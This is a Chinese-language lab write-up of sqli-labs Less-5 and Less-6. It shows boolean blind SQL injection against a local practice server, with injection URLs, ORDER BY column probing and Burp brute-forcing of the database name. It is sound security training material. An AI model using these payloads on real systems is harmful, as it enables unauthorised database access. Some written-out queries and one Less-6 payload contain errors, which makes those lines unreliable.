知识点:
1.left函数,left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0。
2.regexp函数,例如:select user()regexp ‘r’;user的结果是root,regexp为匹配root的正则表达式。
3.like函数,例如:select user()like ‘ro%’;与regexp函数相似
4.substr(a,b,c),从位置b开始,截取a字符串c位长度
5.ascii函数,将某个字符串转化为ascii值
6.chr(数字)或者是ord(‘字母’),使用python中的这两个函数可以判断当前的ascii值是多少
7.以security库为例:
select left(database(),1)=‘s’; 判断前一位是否是s
select database() regepx ‘s‘; 匹配第一个字符是否是s
select database() like ‘s%‘; 匹配第一个字符是否是s
select substr((select database()),1,1)=‘s‘; 匹配第一个字符是否是s
select substr((select database(),1,3)=‘sec‘; 匹配前三个字符是否是sec
select ascii(substr((select database()),1,1)); 直接回显是115
select ascii(substr((select database()),1,1))>110; 如果大于110,就返回1,否则返回0
第五关(Less-5):boolean注入
1.根据提示,输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1
2.在输入id为1000,发现没有回显值
通过1,2发现,正确是会返回结果You are in......,错误是无返回结果
3.加上单引号,输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1‘,出现错误,报错信息显示在1附近多余一个分号,故存在SQL注入漏洞
4.使用order查看列数,输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1‘ order by 3 -- ,显示正常
5.将3改为4,输入 http://127.0.0.1/sqli-labs-master/Less-5/?id=1‘ order by 4 -- ,显示Unkown,说明有三列
6. 不能使用union select进行联合查询,因为没有输出用户和密码,正确输出You are in...,错误不会显示
7.使用left函数,判断第一位是否是s,返回正常,说明第一位是s
8.接下来进行第二位的猜测,输入se,猜测正确,前两位是se
9.使用BurpLoader,打开火狐的代理。当第一位不知道时,输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1‘and left((select database()),1)=‘a‘ -- ,抓包得到数据
10.将其发送至爆破模块,首先清楚美元符号
11.我们爆破的是第一位的值,即报文中的a,将a作为变量添加美元符号
12.点击payloads选择
13.点击Options,将线程改为30,进行暴力破解
14.通过返回的长度进行观察,s返回的长度是1009,而其余是1025
15.查看返回1009的情况下的数据,出现You are in...,说明数据正确,第一位即为s
16.第一位即为s,接下来进行第二位的猜解,
17.点击payloads选择
18.点击Options,调节线程,然后进行暴力破解
19.观察长度发现,e的长度与其他不同,查看返回结果,发现You are in...,说明第二位即为e,其余爆破步骤均相同,即可得到security库名。
第六关(Less-6):
1.根据提示,输入http://127.0.0.1/sqli-labs-master/Less-6/?id=1,根据第五关可知,显示You are in...为正常
2.加上单引号,输入http://127.0.0.1/sqli-labs-master/Less-6/?id=1‘,显示正常
3.将单引号改为双引号,输入http://127.0.0.1/sqli-labs-master/Less-6/?id=1",出现错误,可知存在注入漏洞
4.使用order by查看有几列,输入http://127.0.0.1/sqli-labs-master/Less-6/?id=1" order by 3 -- ,返回正常
5.将3改为4,输入http://127.0.0.1/sqli-labs-master/Less-6/?id=1" order by 4 -- ,发现错误,所以存在三列
6.使用BurpLoader,打开火狐的代理。当第一位不知道时,输入http://127.0.0.1/sqli-labs-master/Less-6/?id=1‘and left((select database()),1)=‘a‘ -- ,抓包得到数据
7.将其发送至爆破模块,首先清楚美元符号
8.我们爆破的是第一位的值,即报文中的a,将a作为变量添加美元符号
9.设置payloads和Options
10.进行暴力破解,观察长度可知,s与其余长度均不相同,再查看返回数据可知,出现You are in......,可知第一位即为s,其余为爆破步骤相同